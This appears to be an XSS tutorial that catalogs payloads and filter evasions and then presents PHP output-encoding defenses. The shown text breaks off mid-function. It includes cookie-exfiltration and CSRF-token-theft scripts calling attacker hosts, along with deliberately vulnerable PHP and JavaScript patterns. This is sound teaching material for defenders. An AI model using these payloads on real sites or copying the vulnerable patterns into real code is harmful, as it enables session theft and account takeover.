The Definitive Guide to Cross-Site Scripting (XSS): Deep Exploitation Mechanics, Complete Payload Catalog, and Enterprise PHP Defense Architecture
Executive Overview: The State of Client-Side Web Vulnerabilities
Cross-Site Scripting (XSS) remains one of the most pervasive, dangerous, and misunderstood vulnerabilities in modern web application security. Despite decades of awareness and defense mechanisms, XSS consistently occupies prominent positions on the OWASP Top 10 and CWE rankings.
At its core,
Cross-Site Scripting occurs when an application receives untrusted data and includes it in a web page delivered to the client browser without proper validation, context-aware escaping, or cryptographic output encoding. When this happens, the browser is tricked into executing arbitrary client-side code (primarily JavaScript) within the security context of the victim's authenticated session.
The consequences of an XSS vulnerability are severe:
-
Session Hijacking: Stealing unhardened session cookies to impersonate administrators or players.
-
Client-Side Request Forgery: Silently executing state-changing API requests (password resets, email transfers, payment dispatch) using the victim's active session and CSRF tokens.
-
Credential Harvesting & Phishing: Injecting realistic fake login dialogs directly into the trusted DOM.
-
Keylogging & DOM Hijacking: Intercepting every keystroke, credit card entry, and private message in real time.
-
Browser Exploitation Frameworks (BeEF): Converting victim browsers into zombie nodes for internal network port scanning and distributed attacks.
This masterclass provides an exhaustive, engineer-level breakdown of all XSS classifications, analyzes a comprehensive catalog of attack vectors and filter evasions, and implements an enterprise-grade, multi-layered PHP defense architecture.
======================================================================================================
CROSS-SITE SCRIPTING (XSS) EXECUTION PARADIGM
======================================================================================================
[ Attacker ] [ Vulnerable PHP Backend ] [ Victim Browser ]
| | |
| 1. Injects Malicious Payload | |
| (e.g., <img src=x onerror=...>) | |
|======================================>| |
| | |
| | 2. Unsanitized Data Ingested & Stored |
| | or Reflected into HTML Stream |
| | |
| | 3. HTTP Response with Raw Payload |
| |======================================>|
| | |
| | | 4. Browser Parses DOM:
| | | Executes injected JS
| | | under site's Origin!
| | |
| 5. Exfiltrates Session / CSRF Token | |
|<==============================================================================|
| | |
======================================================================================================
Module 1: The 5 Classifications of Cross-Site Scripting
Understanding the exact vector of injection determines both how an attack is mounted and how an application must be defended.
1.1 Reflected XSS (Non-Persistent)
Reflected XSS occurs when an application receives user input in an HTTP request (such as a GET query parameter, search keyword, or form submission) and immediately reflects that input in the HTTP response without contextual encoding.
-
Delivery Mechanism: The attacker crafts a malicious URL containing the payload and tricks the victim into clicking it (via phishing emails, Discord messages, or social media).
-
Scope: Transient; only affects users who navigate to the crafted URL.
Vulnerable PHP Pattern:
<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token comment">// VULNERABLE: Direct reflection of query parameter in HTML output</span>
<span class="token variable">$searchQuery</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'q'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>
<span class="token delimiter important">?></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>h1</span><span class="token punctuation">></span></span>Search results for: <span class="token php language-php"><span class="token delimiter important"><?php</span> <span class="token keyword">echo</span> <span class="token variable">$searchQuery</span><span class="token punctuation">;</span> <span class="token delimiter important">?></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>h1</span><span class="token punctuation">></span></span>
If the attacker sends:
?q=<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>, the script executes immediately in the victim's browser.
1.2 Stored XSS (Persistent)
Stored XSS is the most lethal form of XSS. It occurs when the malicious payload is permanently stored on the server's data store (MySQL database, Redis cache, user profile, message forum, or file system) and subsequently served to multiple unsuspecting users when they view the compromised resource.
-
Delivery Mechanism: The attacker submits the payload through a standard user input field (e.g. user bio, forum comment, chat message, product review).
-
Scope: Universal; every single user or administrator who views the infected page automatically executes the payload.
Vulnerable PHP Pattern:
<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token comment">// VULNERABLE: Storing raw HTML in DB and rendering it directly</span>
<span class="token variable">$stmt</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-></span><span class="token function">query</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"SELECT comment_text FROM comments ORDER BY created_at DESC"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token variable">$row</span> <span class="token operator">=</span> <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">echo</span> <span class="token string double-quoted-string">"<div class='comment'>"</span> <span class="token operator">.</span> <span class="token variable">$row</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'comment_text'</span><span class="token punctuation">]</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"</div>"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token delimiter important">?></span></span>
1.3 DOM-based XSS (Client-Side)
DOM-based XSS occurs entirely within the client-side JavaScript execution environment. The server response itself may be completely static or secure, but vulnerable client-side JavaScript reads data from an untrusted
Source (like
location.hash or
location.search) and writes it to a dangerous
Sink (such as
innerHTML,
document.write, or
eval()).
| Common DOM Sources | Dangerous DOM Sinks |
| :-- | :-- |
|
location.href /
location.search |
element.innerHTML |
|
location.hash /
location.pathname |
element.outerHTML |
|
document.referrer |
document.write() /
document.writeln() |
|
window.name |
window.location /
location.assign() |
|
postMessage event payloads |
eval() /
setTimeout() /
setInterval() |
Vulnerable Client-Side Pattern:
<span class="token comment">// VULNERABLE: Reading hash source and inserting into innerHTML sink</span>
<span class="token keyword">const</span> userTab <span class="token operator">=</span> <span class="token function">decodeURIComponent</span><span class="token punctuation">(</span>window<span class="token punctuation">.</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">substring</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"tab-content"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">"<h3>Current Section: "</span> <span class="token operator">+</span> userTab <span class="token operator">+</span> <span class="token string">"</h3>"</span><span class="token punctuation">;</span>
An attacker crafts:
https://example.com/app#<img src=x onerror=alert(1)>. Because the hash is processed entirely in the browser, the web server never even sees the payload in HTTP server logs.
1.4 Blind XSS (Asynchronous Stored)
Blind XSS is a specialized subtype of Stored XSS where the injection payload is saved by a public-facing endpoint (such as a feedback form, support ticket, error report, or registration field) but is only rendered and executed in a restricted internal dashboard (such as an administrative moderation panel, internal CRM, or SIEM log viewer) hours or days later.
-
Impact: Compromises internal company administrators and privileged corporate portals with full administrative rights.
1.5 Mutation XSS (mXSS)
Mutation XSS occurs when a client-side library or HTML sanitizer parses and cleans user input, but when the browser's native HTML parser subsequently re-serializes and assigns the sanitized string to
element.innerHTML, the browser mutates the DOM tree, turning seemingly harmless markup into executable script elements.
<span class="token comment"><!-- Harmless looking markup that mutates into XSS upon innerHTML assignment --></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>math</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>mtext</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>table</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>mglyph</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css"><!--</span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>style</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>img</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>x</span> <span class="token special-attr"><span class="token attr-name">onerror</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token value javascript language-javascript"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></span></span></span><span class="token punctuation">></span></span>
Module 2: The Complete XSS Payload Catalog & Injection Vectors
A seasoned security engineer must understand the wide spectrum of injection vectors used by modern exploit frameworks.
2.1 Standard Script Tags & Variations
<span class="token comment"><!-- Basic script tag --></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>
<span class="token comment"><!-- Remote script inclusion --></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://attacker-controlled-server.com/malicious.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>
<span class="token comment"><!-- Inline script with module type --></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>module<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token keyword">import</span><span class="token punctuation">(</span><span class="token string">'https://attacker.com/payload.js'</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>
<span class="token comment"><!-- Asynchronous script with base64 data URI --></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/javascript;base64,YWxlcnQoJ1hTUycp<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>
2.2 Event Handler Attributes (Tag Breaking & Attribute Injection)
When
<script> tags are filtered by basic blocklists, attackers leverage inline event handlers attached to standard HTML tags:
<!-- Image load failure -->
<img src="invalid_image.jpg" onerror="alert(document.domain)">
<!-- SVG onload execution -->
<svg onload="alert(1)">
<!-- SVG nested animated execution -->
<svg><animate onbegin="alert(1)" attributeName="x" dur="1s">
<!-- Autofocus element capturing immediate focus without user interaction -->
<input type="text" autofocus onfocus="alert(1)">
<!-- HTML5 Details element toggle event -->
<details open ontoggle="alert(1)">
<!-- Body background audio error handler -->
<audio src="x" onerror="alert(1)"></audio>
<!-- Video poster error handler -->
<video poster="x" onerror="alert(1)"></video>
<!-- CSS animation trigger -->
<div style="animation-name:x" onanimationstart="alert(1)"></div>
<!-- Object element embedding data -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<!-- Iframe srcdoc execution -->
<iframe srcdoc="<script>alert(1)</script>"></iframe>
2.3 Dangerous URI Schemes (javascript: & data:)
When user input is placed inside
href,
src, or
action attributes:
<!-- JavaScript pseudo-protocol inside anchor link -->
<a href="javascript:alert(document.cookie)">Claim Reward</a>
<!-- Javascript URL with URL encoded payload -->
<a href="javascript:%61%6c%65%72%74%28%31%29">Click Here</a>
<!-- Iframe with Data URL containing base64 HTML -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>
<!-- Form submission action hijacking -->
<form action="javascript:fetch('https://attacker.com/steal?d='+document.cookie)">
<input type="submit" value="Submit">
</form>
2.4 Filter Evasion & Obfuscation Techniques
Attackers use various parser quirks to bypass naive regex filters:
1. Mixed Case & Whitespace Variations:
<sCrIpt>alert(1)</sCrIpt>
<img/src=x/onerror=alert(1)>
<img src = x onerror = alert(1)>
2. Recursive Tag Stripping Bypass:
If a filter replaces
<script> with an empty string once:
<scr<script>ipt>alert(1)</script>
<!-- After one pass of stripping, becomes: <script>alert(1)</script> -->
3. Backticks & Parenthesisfree Execution:
<!-- Using JavaScript template strings instead of parentheses -->
<img src=x onerror=alert`1`>
<!-- Using throw with onerror handler -->
<svg onload="window.onerror=alert;throw 1">
4. HTML Entity Encoding Inside Attributes:
Browsers automatically decode HTML entities inside HTML attributes before evaluating them in JavaScript contexts:
<!-- Encoded: "javascript:alert(1)" -->
<a href="javascript:alert(1)">Click Me</a>
<!-- Decimal entity encoding in event handlers -->
<img src=x onerror="alert(1)">
Module 3: Anatomy of Real-World Exploitation Chains
Let us examine how an attacker turns a basic XSS vector into full account takeover.
3.1 Exploitation Chain A: Session Cookie Exfiltration
// Malicious payload payload.js hosted on attacker server
(function() {
const sessionCookie = document.cookie;
const exfilUrl = 'https://attacker-logger.com/log?cookie=' + encodeURIComponent(sessionCookie) + '&origin=' + encodeURIComponent(window.location.origin);
// Stealth exfiltration via Image beacon
const img = new Image();
img.src = exfilUrl;
})();
If session cookies lack the
HttpOnly flag, the attacker receives the raw session ID, injects it into their own browser, and completely impersonates the victim without needing passwords or 2FA.
3.2 Exploitation Chain B: In-DOM CSRF Token Stealing & Action Forgery
Even if session cookies are protected by
HttpOnly, XSS executes inside the victim's authenticated browser context. The script can read anti-CSRF tokens directly from meta tags or hidden inputs and perform authorized actions:
// Payload silently changes the user's registered email address to attacker's email
(async function() {
// 1. Extract CSRF Token from DOM
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')
|| document.querySelector('input[name="csrf_token"]')?.value;
// 2. Dispatch authorized state-changing request
await fetch('/account/settings/update-email', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-CSRF-Token': csrfToken
},
body: 'email=attacker_controlled_inbox@domain.com&csrf_token=' + encodeURIComponent(csrfToken)
});
// 3. Trigger Password Reset to attacker's new email
await fetch('/auth/password/reset', { method: 'POST', body: 'action=trigger' });
})();
Module 4: The Golden Defense Paradigm: Context-Aware Output Encoding
The fundamental reason XSS persists is that
web applications render untrusted data across multiple distinct syntactical contexts, and each context requires a completely different encoding and escaping methodology.
======================================================================================================
THE 5 CONTEXTUAL ENCODING ZONES IN PHP APPLICATIONS
======================================================================================================
[ 1. HTML Body Context ] <div>Hello <?php echo e($name); ?></div>
-> htmlspecialchars(ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5)
[ 2. HTML Attribute Context ] <input type="text" value="<?php echo e($val); ?>">
-> Strictly enclose in double quotes + htmlspecialchars()
[ 3. JavaScript Context ] <script>const user = <?php echo jsonJs($data); ?>;</script>
-> json_encode(JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | ...)
[ 4. URL / URI Context ] <a href="<?php echo safeUrl($url); ?>">Profile</a>
-> Protocol allowlisting (http://, https://) + rawurlencode()
[ 5. CSS / Style Context ] <div style="color: <?php echo safeCss($color); ?>">Text</div>
-> Strict allowlist mapping / hex RGB validation only!
======================================================================================================
4.1 Zone 1: HTML Body Context
When embedding untrusted strings inside standard HTML tags (e.g.
<div>...</div>,
<p>...</p>,
<span>...</span>):
-
Vulnerable Code:
<div>Welcome back, <?= $_GET['name']; ?></div>
-
Secure PHP Implementation:
<?php
function e(?string $value): string
{
if ($value === null || $value === '') {
return '';
}
return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');
}
?>
<div>Welcome back, <?= e($_GET['name']); ?></div>
Why ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5 is Mandatory:
-
ENT_QUOTES: Encodes both double quotes (
") and single quotes (
'). By default, older PHP functions only encode double quotes!
-
ENT_SUBSTITUTE: Replaces invalid UTF-8 byte sequences with Unicode replacement characters rather than returning an empty string.
-
ENT_HTML5: Handles HTML5 entity tables correctly.
4.2 Zone 2: HTML Attribute Context
When embedding untrusted data into HTML tag attributes:
<!-- SECURE: Attribute is strictly quoted with double quotes and encoded with e() -->
<input type="text" name="username" value="<?= e($userProvidedValue); ?>">
CRITICAL DANGER: Unquoted Attributes
If an attribute is unquoted,
htmlspecialchars() CANNOT save you from XSS:
<!-- EXTREMELY VULNERABLE: Unquoted attribute -->
<input type="text" value=<?= e($input); ?>>
If the attacker passes
input = 123 onfocus=alert(1) autofocus, the string contains no quotes,
< or
>, so
htmlspecialchars leaves it untouched. The browser interprets
onfocus as a brand new HTML attribute!
4.3 Zone 3: JavaScript Variable Context
A catastrophic mistake made by PHP developers is using
htmlspecialchars() inside a
<script> block:
<!-- FATAL FLAW: htmlspecialchars() DOES NOT prevent JavaScript execution! -->
<script>
const userRole = "<?= htmlspecialchars($_GET['role']); ?>";
</script>
If the attacker passes
role = Admin"; alert(document.domain); //, the rendered HTML is:
const userRole = "Admin"; alert(document.domain); //";
The browser's JavaScript engine evaluates the string, encounters syntax errors, breaks out of the variable assignment, and executes arbitrary code.
The Authoritative PHP Defense for JavaScript Context:
<?php
function jsonJs(mixed $data): string
{
return json_encode(
$data,
JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR
);
}
?>
<script>
// SECURE: Escapes <, >, &, ', and " to safe \u00XX unicode escapes
const userData = <?= jsonJs(['role' => $_GET['role'] ?? 'guest', 'uid' => 101]); ?>;
</script>
JSON_HEX_TAG ensures that any
</script> tag inside user strings is encoded as
\u003C/script\u003E, preventing early script termination attacks.
4.4 Zone 4: URL & Link Target Context
When embedding links provided by users (e.g. website URL in user profiles):
<span class="token comment"><!-- VULNERABLE: htmlspecialchars alone allows javascript: URIs --></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token php language-php"><span class="token delimiter important"><?=</span> <span class="token function">e</span><span class="token punctuation">(</span><span class="token variable">$userWebsite</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token delimiter important">?></span></span><span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Visit Website<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>a</span><span class="token punctuation">></span></span>
If
$userWebsite is
javascript:alert(1),
htmlspecialchars finds no special HTML characters, leaving
href="javascript:alert(1)".
The Authoritative PHP URL Sanitizer:
<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token keyword">function</span> <span class="token function-definition function">safeUrl</span><span class="token punctuation">(</span><span class="token operator">?</span><span class="token keyword type-hint">string</span> <span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">string</span>
<span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">empty</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token string single-quoted-string">'#'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token variable">$url</span> <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// Strip non-printable and control characters</span>
<span class="token variable">$url</span> <span class="token operator">=</span> <span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/[\x00-\x1F\x7F]/u'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">,</span> <span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// Validate allowed schemes using strict regular expression</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/^(https?:\/\/|\/|mailto:)/i'</span><span class="token punctuation">,</span> <span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">,</span> <span class="token class-name">ENT_QUOTES</span> <span class="token operator">|</span> <span class="token class-name">ENT_SUBSTITUTE</span> <span class="token operator">|</span> <span class="token class-name">ENT_HTML5</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'UTF-8'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">// Default safe fallback if dangerous scheme (javascript:, data:, vbscript:) detected</span>
<span class="token keyword">return</span> <span class="token string single-quoted-string">'#'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token delimiter important">?></span></span>
<span class="token comment"><!-- SECURE: Guarantees safe protocol destination --></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token php language-php"><span class="token delimiter important"><?=</span> <span class="token function">safeUrl</span><span class="token punctuation">(</span><span class="token variable">$userProfile</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'website'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token delimiter important">?></span></span><span class="token punctuation">"</span></span> <span class="token attr-name">target</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>_blank<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>noopener noreferrer<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Visit Website<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>a</span><span class="token punctuation">></span></span>
Module 5: Reusable Enterprise PHP Security Engine (SecurityHelper.php)
Here is the complete, drop-in PHP 8.2+ class providing production-ready defense across all contexts:
<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token keyword">declare</span><span class="token punctuation">(</span>strict_types<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">namespace</span> <span class="token package">UnreliableCode<span class="token punctuation">\</span>Security</span><span class="token punctuation">;</span>
<span class="token keyword">final</span> <span class="token keyword">class</span> <span class="token class-name-definition class-name">SecurityHelper</span>
<span class="token punctuation">{</span>
<span class="token comment">/**
* Context 1 & 2: HTML Body and Quoted Attribute Escaper
*/</span>
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">function</span> <span class="token function-definition function">e</span><span class="token punctuation">(</span><span class="token operator">?</span><span class="token keyword type-hint">string</span> <span class="token variable">$value</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">string</span>
<span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$value</span> <span class="token operator">===</span> <span class="token keyword type-declaration">null</span> <span class="token operator">||</span> <span class="token variable">$value</span> <span class="token operator">===</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">return</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$value</span><span class="token punctuation">,</span> <span class="token class-name">ENT_QUOTES</span> <span class="token operator">|</span> <span class="token class-name">ENT_SUBSTITUTE</span> <span class="token operator">|</span> <span class="token class-name">ENT_HTML5</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'UTF-8'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">/**
* Context 3: Safe JSON / JavaScript Variable Embedding
*/</span>
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">function</span> <span class="token function-definition function">jsonJs</span><span class="token punctuation">(</span><span class="token keyword type-hint">mixed</span> <span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">string</span>
<span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token function">json_encode</span><span class="token punctuation">(</span>
<span class="token variable">$data</span><span class="token punctuation">,</span>
<span class="token class-name">JSON_HEX_TAG</span> <span class="token operator">|</span> <span class="token class-name">JSON_HEX_AMP</span> <span class="token operator">|</span> <span class="token class-name">JSON_HEX_APOS</span> <span class="token operator">|</span> <span class="token class-name">JSON_HEX_QUOT</span> <span class="token operator">|</span> <span class="token class-name">JSON_UNESCAPED_UNICODE</span> <span class="token operator">|</span> <span class="token class-name">JSON_THROW_ON_ERROR</span>
<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">/**
* Context 4: Safe Link Destination (Protocol Allowlist)
*/</span>
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">function</span> <span class="token function-definition function">safeUrl</span><span class="token punctuation">(</span><span class="token operator">?</span><span class="token keyword type-hint">string</span> <span class="token variable">$url</span><span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$defaultFallback</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'#'</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">string</span>
<span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$url</span> <span class="token operator">===</span> <span class="token keyword type-declaration">null</span> <span class="token operator">||</span> <span class="token class-name">trim</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token variable">$defaultFallback</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token variable">$cleaned</span> <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$cleaned</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword type-casting">string</span><span class="token punctuation">)</span><span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/[\x00-\x1F\x7F]/u'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">,</span> <span class="token variable">$cleaned</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// Protocol Whitelist: HTTP, HTTPS, Relative Paths, Mailto</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/^(https?:\/\/|\/|mailto:[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})/i'</span><span class="token punctuation">,</span> <span class="token variable">$cleaned</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">// Block data: or javascript: obfuscated inside valid strings</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/(javascript|data|vbscript):/i'</span><span class="token punctuation">,</span> <span class="token variable">$cleaned</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token function">e</span><span class="token punctuation">(</span><span class="token variable">$cleaned</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token keyword">return</span> <span class="token variable">$defaultFallback</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">/**
* Context 5: Safe CSS Hex Color / Dimension Allowlist
*/</span>
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">function</span> <span class="token function-definition function">safeCssColor</span><span class="token punctuation">(</span><span class="token operator">?</span><span class="token keyword type-hint">string</span> <span class="token variable">$color</span><span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$default</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'#000000'</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">string</span>
<span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$color</span> <span class="token operator">===</span> <span class="token constant">null</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token variable">$default</span><span class="token punctuation">;</span>
<span class="token variable">$color</span> <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token variable">$color</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/^#(?:[0-9a-fA-F]{3}|[0-9a-fA-F]{6}|[0-9a-fA-F]{8})$/'</span><span class="token punctuation">,</span> <span class="token variable">$color</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token variable">$color</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">return</span> <span class="token variable">$default</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">/**
* Generates a cryptographically secure 128-bit CSP Nonce
*/</span>
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">function</span> <span class="token function-definition function">generateNonce</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">string</span>
<span class="token punctuation">{</span>
